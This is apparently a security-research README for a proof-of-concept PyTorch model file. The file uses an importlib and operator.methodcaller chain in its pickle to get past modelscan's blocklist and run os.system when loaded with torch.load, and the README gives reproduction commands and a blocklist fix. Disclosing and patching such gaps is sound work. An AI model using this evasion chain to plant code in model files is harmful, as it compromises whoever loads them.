vellaveto / mfv-pickle-modelscan-bypass

Modelscan Bypass PoC — importlib + operator.methodcaller

Security research artifact. Do NOT load in production.

This model file bypasses modelscan v0.8.8 and executes arbitrary code when loaded via torch.load() .

Bypass technique

modelscan's unsafe_globals blocklist covers os.* , subprocess.* , builtins.eval/exec/__import__ , operator.attrgetter , etc. However, it does NOT block:

• importlib.import_module — can import any module including os
• operator.methodcaller — can call any method on an object (only attrgetter is blocked)

The pickle chains these two:

operator.methodcaller('system', 'cmd')(importlib.import_module('os'))
= os.system('cmd')
= RCE

Reproduction

# Verify modelscan does NOT detect it
pip install modelscan
modelscan scan pytorch_model-00001-of-00001.bin
# Output: No issues found ✓

# Verify RCE
python3 -c "import torch; torch.load('pytorch_model-00001-of-00001.bin', weights_only=False)"
cat /tmp/mfv_modelscan_bypass_poc

Fix

Add importlib and operator.methodcaller to modelscan's unsafe_globals :

"CRITICAL": {
    "importlib": "*",           # ← ADD
    "operator": ["attrgetter", "methodcaller"],  # ← ADD methodcaller
    ...
}